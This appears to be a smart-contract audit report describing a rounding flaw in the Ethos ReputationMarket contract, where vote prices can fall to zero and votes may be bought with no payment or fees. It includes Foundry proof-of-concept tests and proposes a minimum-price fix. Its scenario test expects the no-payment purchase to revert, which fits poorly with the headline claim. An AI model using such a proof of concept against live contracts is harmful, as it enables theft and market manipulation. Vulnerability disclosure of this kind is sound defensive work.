Lucky Spruce Kookaburra

High

# Attacker/User Can Buy Very High Amount of Votes For Free in Certain Cases

### Summary

Attacker/User can buy very high amount of votes for free in certain cases due to mishandling edge cases. 

### Root Cause

In [ReputationMarket.sol](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440C1-L497C4), buying votes are limited with a specific number (133). The reason of this limit is overflow in `exp()` operation while LSMR algorithm. The details are public in [prb/math repo](https://github.com/PaulRBerg/prb-math/blob/b03f814a03558ed5b62f89a57bcc8d720a393f67/src/ud60x18/Math.sol#L109C1-L115C56). This is the only limit while buying a vote from reputation market. 

If we have `1000` as liquidity parameter, we can buy 1000 * 133 = 133,000 for each side. In extreme cases, price of buying a vote can go down to 0. If a reputation market gets too many negative/positive votes, the other sides price can be round down to zero.

### Internal Pre-conditions

1. A market should get lots of positive/negative votes against the other side

### Attack Path

Path is provided in PoC, attacker can buy 10000 votes for free in the scenario. 

> Note: These tests were conducted with a liquidity parameter of 1000. Results may vary with different liquidity parameters.

### Impact

High - Attacker/User can buy many votes for free and make profit by selling it later. We should apply minimum price for each side because this issue will also cause 0 fee charge for buying votes for both market owner and protocol. 

Let say 5% donation fee, 5% protocol fee is applied. `cost` variable in `_calcCost` function should be at least 20 in order to prevent 0 fee charging. Therefore, price doesn't need to be zero for zero fee charging.

### PoC

I saw that problem while the fuzz test in foundry. You can use following files to reproduce the bug.

First of all install the required libraries:

```console
forge init --force --no-commit
forge install PaulRBerg/prb-math@v4.1.0 openzeppelin/openzeppelin-contracts@v5.1.0 openzeppelin@openzeppelin-contracts-upgradeable@v5.1.0 --no-commit
```

Use following command for fuzz test
```console
forge test --match-test testFuzz_price -vvv
```

Use following command for example scenario
```console
forge test --match-test test_price -vvv
```

```solidity
// ProfileMock.sol in mocks folder

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/*
 * @dev Interface for EthosProfile Smart Contract.
 */
interface IEthosProfile {
  function verifiedProfileIdForAddress(address _address) external view returns (uint256);
}


contract ProfileMock is IEthosProfile{

    function verifiedProfileIdForAddress(address usr) external view returns(uint256){
        return uint256(keccak256(abi.encode(usr)));
    }
}
```
```solidity
// ManagerMock.sol in mocks folder

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

interface IContractAddressManager {
  function getContractAddressForName(string memory name) external view returns (address);

  function checkIsEthosContract(address targetAddress) external view returns (bool);
}

contract ManagerMock is IContractAddressManager{

    address profile;
    constructor(address _profile){
        profile = _profile;
    }
    function getContractAddressForName(string memory name) external view returns (address){
        return profile;
    }
    function checkIsEthosContract(address targetAddress) external view returns (bool){
        return true;
    }

}
```

```solidity
// ReputationTest.t.sol in test folder

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "../contracts/mocks/ProfileMock.sol";
import "../contracts/mocks/ManagerMock.sol";
import {ReputationMarket} from "../contracts/ReputationMarket.sol";


interface IReputation {
    function createMarket() external payable;
    function buyVotes(
        uint256 profileId,
        bool isPositive,
        uint256 maxVotesToBuy,
        uint256 minVotesToBuy
    ) external payable;
    function sellVotes(
        uint256 profileId,
        bool isPositive,
        uint256 votesToSell,
        uint256 minimumVotePrice
    ) external;
    function setAllowListEnforcement(bool) external;
    function setEntryProtocolFeeBasisPoints(uint256) external;
    function setDonationBasisPoints(uint256) external;
    function setProtocolFeeAddress(address) external;
    function withdrawDonations() external;
    function createMarketWithConfig(uint256) external payable;
    function getVotePrice(uint256,bool) external view returns(uint256);
}

contract ReputationUnitTest is Test {

    ProfileMock profile;
    ManagerMock manager;
    address owner = address(0x1);
    address admin = address(0x2);
    address alice = address(0x3);
    address bob = address(0x4);
    address john = address(0x5);
    address lucy = address(0x6);
    address proxy;
    uint256 profileIdAlice = uint256(keccak256(abi.encode(alice)));

    function setUp() public {
        address reputation = address(new ReputationMarket());
        profile = new ProfileMock();
        manager = new ManagerMock(address(profile));
        bytes memory data = abi.encodePacked(bytes4(keccak256("initialize(address,address,address,address,address)")),abi.encode(owner,admin,address(0x10),address(0x11),address(manager)));
        proxy = address(new ERC1967Proxy(reputation, data));
        vm.startPrank(admin);
        IReputation(proxy).setAllowListEnforcement(false);
        IReputation(proxy).setProtocolFeeAddress(admin);
        IReputation(proxy).setDonationBasisPoints(500);
        IReputation(proxy).setEntryProtocolFeeBasisPoints(500);
        vm.stopPrank();
        vm.deal(alice, 1000000 ether);
        vm.deal(bob, 1e18 ether);
        vm.deal(john, 1000000 ether);
        vm.deal(lucy, 1000000 ether);
    }

    /// forge-config: default.fuzz.runs = 100000
    function testFuzz_price(bool b, uint16 x, uint16 y) public {

        vm.assume(x != 0);
        vm.assume(y != 0);
        
        uint256 basePrice = 0.01 ether;
        
        vm.prank(alice);
        IReputation(proxy).createMarket{value: 2 ether}();

        vm.prank(bob);
        IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, b, uint256(x), uint256(x));

        uint256 priceB = IReputation(proxy).getVotePrice(profileIdAlice, true);
        uint256 priceA = IReputation(proxy).getVotePrice(profileIdAlice, false);
        
        assert(priceA != 0);
        assert(priceB != 0);

        vm.prank(bob);
        IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, !b, uint256(y), uint256(y));

        assert(priceA != 0);
        assert(priceB != 0);
        
        assert(priceA + priceB == basePrice);

        vm.prank(bob);
        IReputation(proxy).sellVotes(profileIdAlice, b, uint256(x), 0);

        priceB = IReputation(proxy).getVotePrice(profileIdAlice, true);
        priceA = IReputation(proxy).getVotePrice(profileIdAlice, false);
        
        assert(priceA != 0);
        assert(priceB != 0);

        vm.prank(bob);
        IReputation(proxy).sellVotes(profileIdAlice, !b, uint256(y), 0);

        priceB = IReputation(proxy).getVotePrice(profileIdAlice, true);
        priceA = IReputation(proxy).getVotePrice(profileIdAlice, false);
        
        assert(priceA != 0);
        assert(priceB != 0);

    }
    function test_price() public {

        vm.prank(alice);
        IReputation(proxy).createMarket{value: 2 ether}();

        vm.prank(bob);
        IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, false, uint256(2428), uint256(2428));

        vm.prank(bob);
        IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, true, uint256(65535), uint256(65535));

        uint256 priceB = IReputation(proxy).getVotePrice(profileIdAlice, true);
        uint256 priceA = IReputation(proxy).getVotePrice(profileIdAlice, false);

        console2.log(priceA);
        console2.log(priceB);
        console2.log(priceB + priceA);

        vm.prank(bob);
        vm.expectRevert();
        IReputation(proxy).buyVotes(profileIdAlice, false, 10000, 10000);
        
    }
}
```

### Mitigation

Apply min price solution for this kind of issues. Do not prevent this bug using `require(protocolFee != 0)` because it will cause different kind of issues. For instance, it will cause DoS for buying negative/positive votes. Applying a min price per vote can solve the problem elegantly. 